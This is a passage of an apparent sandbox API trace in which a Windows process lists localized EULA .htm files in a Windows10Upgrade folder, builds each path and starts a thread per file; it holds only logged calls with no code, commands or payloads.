_Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.685] wcscat (in: _Dest=0x3480750, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.685] wcscat (in: _Dest=0x3480750, _Source="EULA_fr-fr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" [0077.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0077.685] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e35dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e35dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xd3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_he-il.htm", cAlternateFileName="EULA_H~1.HTM")) returned 1 [0077.685] wcscmp (_String1="EULA_he-il.htm", _String2=".") returned 1 [0077.685] wcscmp (_String1="EULA_he-il.htm", _String2="..") returned 1 [0077.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347ffd0 [0077.685] wcscpy (in: _Dest=0x347ffd0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.685] wcscat (in: _Dest=0x347ffd0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.685] wcscat (in: _Dest=0x347ffd0, _Source="EULA_he-il.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" [0077.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ffd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0077.686] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e977f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e977f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_hr-hr.htm", cAlternateFileName="EULA_H~2.HTM")) returned 1 [0077.686] wcscmp (_String1="EULA_hr-hr.htm", _String2=".") returned 1 [0077.686] wcscmp (_String1="EULA_hr-hr.htm", _String2="..") returned 1 [0077.686] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480660 [0077.686] wcscpy (in: _Dest=0x3480660, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.686] wcscat (in: _Dest=0x3480660, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.686] wcscat (in: _Dest=0x3480660, _Source="EULA_hr-hr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" [0077.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0077.687] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ebeab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ebeab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_hu-hu.htm", cAlternateFileName="EULA_H~3.HTM")) returned 1 [0077.687] wcscmp (_String1="EULA_hu-hu.htm", _String2=".") returned 1 [0077.687] wcscmp (_String1="EULA_hu-hu.htm", _String2="..") returned 1 [0077.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34807c8 [0077.687] wcscpy (in: _Dest=0x34807c8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.687] wcscat (in: _Dest=0x34807c8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.687] wcscat (in: _Dest=0x34807c8, _Source="EULA_hu-hu.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" [0077.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34807c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0077.688] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ed234, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ed234, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_it-it.htm", cAlternateFileName="EULA_I~1.HTM")) returned 1 [0077.688] wcscmp (_String1="EULA_it-it.htm", _String2=".") returned 1 [0077.688] wcscmp (_String1="EULA_it-it.htm", _String2="..") returned 1 [0077.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc10 [0077.688] wcscpy (in: _Dest=0x347fc10, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.688] wcscat (in: _Dest=0x347fc10, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.688] wcscat (in: _Dest=0x347fc10, _Source="EULA_it-it.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" [0077.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fc10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0077.689] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ef94a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ef94a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3354e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ja-jp.htm", cAlternateFileName="EULA_J~1.HTM")) returned 1 [0077.689] wcscmp (_String1="EULA_ja-jp.htm", _String2=".") returned 1 [0077.689] wcscmp (_String1="EULA_ja-jp.htm", _String2="..") returned 1 [0077.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34806d8 [0077.689] wcscpy (in: _Dest=0x34806d8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.689] wcscat (in: _Dest=0x34806d8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.689] wcscat (in: _Dest=0x34806d8, _Source="EULA_ja-jp.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" [0077.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34806d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0077.689] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f205a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f205a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ace3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ko-kr.htm", cAlternateFileName="EULA_K~1.HTM")) returned 1 [0077.690] wcscmp (_String1="EULA_ko-kr.htm", _String2=".") returned 1 [0077.690] wcscmp (_String1="EULA_ko-kr.htm", _String2="..") returned 1 [0077.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fd78 [0077.690] wcscpy (in: _Dest=0x347fd78, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.690] wcscat (in: _Dest=0x347fd78, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.690] wcscat (in: _Dest=0x347fd78, _Source="EULA_ko-kr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" [0077.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fd78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0077.690] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f33e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f33e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1293b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_lt-lt.htm", cAlternateFileName="EULA_L~1.HTM")) returned 1 [0077.690] wcscmp (_String1="EULA_lt-lt.htm", _String2=".") returned 1 [0077.690] wcscmp (_String1="EULA_lt-lt.htm", _String2="..") returned 1 [0077.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480138 [0077.690] wcscpy (in: _Dest=0x3480138, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.691] wcscat (in: _Dest=0x3480138, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.691] wcscat (in: _Dest=0x3480138, _Source="EULA_lt-lt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" [0077.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0077.691] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f5af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f5af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x147c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_lv-lv.htm", cAlternateFileName="EULA_L~2.HTM")) returned 1 [0077.691] wcscmp (_String1="EULA_lv-lv.htm", _String2=".") returned 1 [0077.691] wcscmp (_String1="EULA_lv-lv.htm", _String2="..") returned 1 [0077.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0077.691] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.691] wcscat (in: _Dest=0x347fc88, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.691] wcscat (in: _Dest=0x347fc88, _Source="EULA_lv-lv.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" [0077.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fc88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0077.692] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fa921, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fa921, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10674, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_nb-no.htm", cAlternateFileName="EULA_N~1.HTM")) returned 1 [0077.692] wcscmp (_String1="EULA_nb-no.htm", _String2=".") returned 1 [0077.692] wcscmp (_String1="EULA_nb-no.htm", _String2="..") returned 1 [0077.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347f940 [0077.692] wcscpy (in: _Dest=0x347f940, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.692] wcscat (in: _Dest=0x347f940, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.692] wcscat (in: _Dest=0x347f940, _Source="EULA_nb-no.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" [0077.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0077.693] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fe3b1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fe3b1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10698, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_nl-nl.htm", cAlternateFileName="EULA_N~2.HTM")) returned 1 [0077.693] wcscmp (_String1="EULA_nl-nl.htm", _String2=".") returned 1 [0077.693] wcscmp (_String1="EULA_nl-nl.htm", _String2="..") returned 1 [0077.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480480 [0077.693] wcscpy (in: _Dest=0x3480480, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.693] wcscat (in: _Dest=0x3480480, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.693] wcscat (in: _Dest=0x3480480, _Source="EULA_nl-nl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" [0077.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0077.694] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ff747, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ff747, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13f94, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pl-pl.htm", cAlternateFileName="EULA_P~1.HTM")) returned 1 [0077.694] wcscmp (_String1="EULA_pl-pl.htm", _String2=".") returned 1 [0077.694] wcscmp (_String1="EULA_pl-pl.htm", _String2="..") returned 1 [0077.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34804f8 [0077.694] wcscpy (in: _Dest=0x34804f8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.694] wcscat (in: _Dest=0x34804f8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.694] wcscat (in: _Dest=0x34804f8, _Source="EULA_pl-pl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" [0077.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34804f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818 [0077.695] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea400ac7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea400ac7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pt-br.htm", cAlternateFileName="EULA_P~2.HTM")) returned 1 [0077.695] wcscmp (_String1="EULA_pt-br.htm", _String2=".") returned 1 [0077.695] wcscmp (_String1="EULA_pt-br.htm", _String2="..") returned 1 [0077.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347f9b8 [0077.695] wcscpy (in: _Dest=0x347f9b8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.695] wcscat (in: _Dest=0x347f9b8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.695] wcscat (in: _Dest=0x347f9b8, _Source="EULA_pt-br.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" [0077.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814 [0077.696] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea401e7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea401e7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1158e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pt-pt.htm", cAlternateFileName="EULA_P~3.HTM")) returned 1 [0077.696] wcscmp (_String1="EULA_pt-pt.htm", _String2=".") returned 1 [0077.696] wcscmp (_String1="EULA_pt-pt.htm", _String2="..") returned 1 [0077.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fa30 [0077.696] wcscpy (in: _Dest=0x347fa30, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.696] wcscat (in: _Dest=0x347fa30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.696] wcscat (in: _Dest=0x347fa30, _Source="EULA_pt-pt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" [0077.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fa30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810 [0077.697] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5c6190, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5c6190, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ro-ro.htm", cAlternateFileName="EULA_R~1.HTM")) returned 1 [0077.697] wcscmp (_String1="EULA_ro-ro.htm", _String2=".") returned 1 [0077.697] wcscmp (_String1="EULA_ro-ro.htm", _String2="..") returned 1 [0077.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fe68 [0077.697] wcscpy (in: _Dest=0x347fe68, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.697] wcscat (in: _Dest=0x347fe68, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.697] wcscat (in: _Dest=0x347fe68, _Source="EULA_ro-ro.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" [0077.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fe68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0077.698] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x454cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ru-ru.htm", cAlternateFileName="EULA_R~2.HTM")) returned 1 [0077.698] wcscmp (_String1="EULA_ru-ru.htm", _String2=".") returned 1 [0077.698] wcscmp (_String1="EULA_ru-ru.htm", _String2="..") returned 1 [0077.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34800c0 [0077.698] wcscpy (in: _Dest=0x34800c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.698] wcscat (in: _Dest=0x34800c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.698] wcscat (in: _Dest=0x34800c0, _Source="EULA_ru-ru.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" [0077.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34800c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0077.699] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14021, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sk-sk.htm", cAlternateFileName="EULA_S~1.HTM")) returned 1 [0077.699] wcscmp (_String1="EULA_sk-sk.htm", _String2=".") returned 1 [0077.699] wcscmp (_String1="EULA_sk-sk.htm", _String2="..") returned 1 [0077.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347faa8 [0077.699] wcscpy (in: _Dest=0x347faa8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") 